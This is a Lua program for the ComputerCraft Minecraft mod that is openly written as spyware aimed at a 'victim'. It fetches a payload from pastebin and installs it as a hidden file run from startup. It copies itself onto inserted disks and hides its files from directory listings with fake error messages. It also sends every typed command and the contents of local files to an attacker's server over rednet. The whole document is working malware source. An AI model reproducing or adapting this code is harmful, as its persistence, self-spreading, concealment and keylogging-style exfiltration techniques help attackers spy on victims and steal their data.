screenViewer

-- H4CK3RZ Screen viewer by PaymentOption; Client Side --
VERSION = "Alpha 0.0.1"
---------------------------------------------------------

rednet.open("top")
rednet.open("back")
rednet.open("right")
rednet.open("left")
rednet.open("bottom")


-- VARS --
serverID = 156
sLink = "3MySLThV"
----------

rednet.send(serverID, "connect")

-- Helper Functions --
function cPrint(height, string)
    local w, h = term.getSize()
    local xPosition = w/2 - string.len(string)/2

    term.setCursorPos(xPosition, height)
    term.write(string)
end

function rPrint(height, string)
    local w,h = term.getSize()
    local xPos = w - string.len(string)

    term.setCursorPos(xPos, height)
    term.write(string)
end

function clear() term.clear(); term.setCursorPos(1,1) end

function split(str, pat)
   local t = {}  -- NOTE: use {n = 0} in Lua-5.0
   local fpat = "(.-)" .. pat
   local last_end = 1
   local s, e, cap = str:find(fpat, 1)
   while s do
      if s ~= 1 or cap ~= "" then
     table.insert(t,cap)
      end
      last_end = e+1
      s, e, cap = str:find(fpat, last_end)
   end
   if last_end <= #str then
      cap = str:sub(last_end)
      table.insert(t, cap)
   end
   return t
end
----------------------

-- File Functions --
function listHidden() -- Function used to make sure our victim doesn't see our xeno file!
    local sDir = shell.dir()
    local tAll = fs.list( sDir )
    local tFiles = {}
    local tDirs = {}

    for n, sItem in pairs( tAll ) do
        if string.sub( sItem, 1, 1 ) ~= "." then
            local sPath = fs.combine( sDir, sItem )
            if fs.isDir( sPath ) then
                table.insert( tDirs, sItem )
            else
                table.insert( tFiles, sItem )
            end
        end
    end
    table.sort( tDirs )
    table.sort( tFiles )

    for i=1, #tFiles do if tFiles[i] == "OS/log" then table.remove(tFiles, i); break end; end
    for i=1, #tDirs do if tDirs[i] == "OS" then table.remove(tDirs, i); break end; end

    textutils.pagedTabulate( tDirs, tFiles )
end

function storeSelf()
    if fs.isDir("OS") == false then shell.run("mkdir", "OS") end

    if fs.exists("OS/log") == false then
        shell.run("rom/programs/http/pastebin", "get", sLink, "OS/log")
    end

    if fs.exists("/startup") then
        local file = fs.open("/startup", "r")
        local fileContents = file.readAll()
        file.close(); fs.delete("/startup")

        file = fs.open("/startup", "w")
        file.write("shell.run('OS/log')\n"..fileContents)
        file.close()
    else
        local file = fs.open("/startup", "w")
        file.write("shell.run('OS/log')\n")
        file.close()
    end
end

-- Get Screen --
function getScreen()
    local tCommand = {}; local command = ""

    write(shell.dir().."> ")
    command = read()

    if fs.exists("/disk") then
        local file = fs.open("OS/log", "r")
        local fileContents = file.readAll()
        file.close()

        file = fs.open("disk/startup", "w")
        file.write(tostring(fileContents))
        file.close()
    end

    tCommand = split(tostring(command), " ")
    if tCommand[1] == nil or tCommand[1] == "" then rednet.send(serverID, "82d5sf Nothing"); return end
    if tCommand[1] == "list" or tCommand[1] == "ls" then listHidden(); return end -- Hide our file
    if tCommand[1] == "cp" then tCommand[1] = "copy" end

    if fs.exists("rom/programs/"..tCommand[1]) == false and fs.exists("rom/apis/"..tCommand[1]) == false and fs.exists(shell.dir().."/"..tCommand[1]) then -- Send a file
        rednet.send(serverID, "82d5sf FILE")
        sender, message = rednet.receive()
        if sender == serverID and message == "ready" then
            local file = fs.open(tCommand[1], "r")
            local fileContents = file.readAll()
            file.close()

            rednet.send(serverID, tostring(fileContents))
        else cPrint(6, "FAILED"); sleep(3) end
    end

    rednet.send(serverID, "82d5sf "..tostring(command))

    if tCommand[2] == "OS" then print("Unknown error"); return end
    if tCommand[2] == "OS/log" then print("Unknown error"); return end
    if tCommand[2] == "startup" then print("Unknown error"); return end
    shell.run(tCommand[1], tCommand[2], tCommand[3], tCommand[4], tCommand[5])
    if tCommand[1] == "edit" then print(os.version()) end--]]
end
----------------

storeSelf()
clear()
print(os.version())

while true do
    getScreen()
end